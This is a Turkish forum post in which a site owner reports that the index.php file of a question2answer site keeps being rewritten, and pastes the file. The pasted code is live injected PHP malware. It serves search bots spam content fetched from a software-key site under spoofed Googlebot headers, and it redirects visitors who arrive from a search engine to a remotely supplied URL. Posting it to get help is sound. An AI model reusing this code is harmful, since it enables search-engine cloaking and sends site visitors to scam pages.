Merhaba,

Sitemde question2answer scriptini kullanıyorum. Daha önce scriptle alakalı benzer bir problem yaşamadım. Sürekli index.php içeriği değişiyor. Günlük ben değişiyorum o değişiyor. Cpanel şifresini değiştirdim. Virüs tarattım. Cronlara baktım ama çözüm bulamadım.
İçerik bu

<?php
if(!empty($_GET['tetes'])){
	echo 'ok123344';
}
$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
	$mysite = "https://kampusgenc.com/";
	$filename = "";
	$fromsite = "https://workingkeys.org/microsoft-office-2016-working-product-key/";
if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {

	$ksite = !empty($_GET['p']) ? $_GET['p'] : "";
	$list = array(
	
	);


	$listname = $filename . "?p=";
	$liststr = "<div style='text-align: center'>";
	foreach ($list as $key => $val) {
		if ($ksite == $key) {
			$fromsite = $val;
		}
		$liststr .= "<a href='" .$mysite .  $filename . "?p=" . $key . "'>" . $key . "</a>&nbsp;&nbsp;";
	}
	$liststr .= "</div>";
	$url = empty($_GET['view']) ? "" : $_GET['view'];
	if(function_exists('curl_init')){
	$s = curl_init();
	curl_setopt($s,CURLOPT_URL,$fromsite . $url);
	curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
	curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
	curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
	curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
	$content = curl_exec($s);
	}else{$content=file_get_contents($fromsite . $url);}

	if (!empty($ksite)) {
		$qstr = $filename . "?p=" . $ksite . "&view=";

	} else {

		$qstr = $filename . "?view=";
	}
	$repstr = $mysite . $qstr;

	$content = str_ireplace('href="', 'href="/', $content);
	$content = str_ireplace('href="//', 'href="/', $content);
	$content = str_ireplace('href="/http', 'href="http', $content);
	$content = str_ireplace('href="/http', 'href="http', $content);
	$content = str_replace('href="/', 'href="' . $fromsite, $content);

	$content = str_ireplace('src="', 'src="/', $content);
	$content = str_ireplace('src="//', 'src="/', $content);
	$content = str_ireplace('src="/http', 'src="http', $content);
	$content = str_ireplace('src="/http', 'src="http', $content);
	$content = str_replace('src="/', 'src="' . $fromsite, $content);

	$content = str_ireplace($fromsite, $repstr, $content);

	$content = str_replace($repstr . "skin", $fromsite . "skin", $content);
	$content = str_replace($repstr . "style", $fromsite . "style", $content);
	$content = str_replace($repstr . "js", $fromsite . "js", $content);
	$content = str_replace($repstr . "media", $fromsite . "media", $content);
	$content = str_replace($repstr . "res", $fromsite . "res", $content);
	$content = str_replace("</body>",$liststr . "</body>", $content);
	$domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite);
	$content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content);
  	if(empty($url)){
	$content = preg_replace("#<link\srel=\"canonical\"\shref=\"(.*?)/>#","",$content);
	$content = str_ireplace("</title>","</title>\r\n<link rel=\"canonical\" href=\"{$mysite}\" />",$content);}
	echo $content;
        exit;
} else {
	$ch = curl_init();
	$timeout = 2;
	curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt");
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	$tiaourl = curl_exec($ch);
	curl_close($ch);
	if(empty($tiaourl)){
	$tiaourl = "https://www.buywin10.com/";
	}
	if(isset($_GET['view']) || isset($_GET['p']))          
	{
	header("location: " . $tiaourl);
	exit;
	}if(empty($_COOKIE['haircki'])){
 $ref = strtolower($_SERVER['HTTP_REFERER']);
if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) {
	$in = ("/");
	if($_SERVER["REQUEST_URI"]==$in){header("location: " . $tiaourl);exit;}}

	}

	setcookie('haircki','haircooki', time()+3600*24);
}
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );?>